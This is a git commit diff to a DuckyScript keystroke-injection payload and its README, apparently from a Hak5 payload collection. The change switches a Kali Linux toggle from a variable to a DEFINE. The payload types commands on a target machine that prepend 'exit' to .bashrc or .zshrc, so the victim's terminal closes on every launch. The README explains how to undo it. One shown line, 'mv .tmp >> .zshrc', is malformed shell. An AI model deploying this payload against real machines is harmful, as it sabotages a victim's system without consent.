Tip from hak5peaks

pull/443/head
Aleff 2024-05-23 18:01:01 +02:00
parent 05b31b2756
commit 942bd88b8b
2 changed files with 5 additions and 5 deletions

View File

@ -16,7 +16,7 @@ The described payload aims to modify the configuration file of the default shell
However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.
To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `$ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `1`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.

View File

@ -14,7 +14,7 @@ REM - Nothing <3
REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.
VAR $ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX = 0
DEFINE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX TRUE
EXTENSION DETECT_READY
@ -52,15 +52,15 @@ DELAY 2000
STRINGLN echo "exit" > .tmp
DELAY 500
IF ($ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX == 1) THEN
IF_DEFINED_TRUE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX
STRINGLN cat .zshrc >> .tmp
DELAY 500
STRINGLN mv .tmp >> .zshrc
ELSE
ELSE_DEFINED
STRINGLN cat .bashrc >> .tmp
DELAY 500
STRINGLN mv .tmp >> .bashrc
END_IF
END_IF_DEFINED
DELAY 500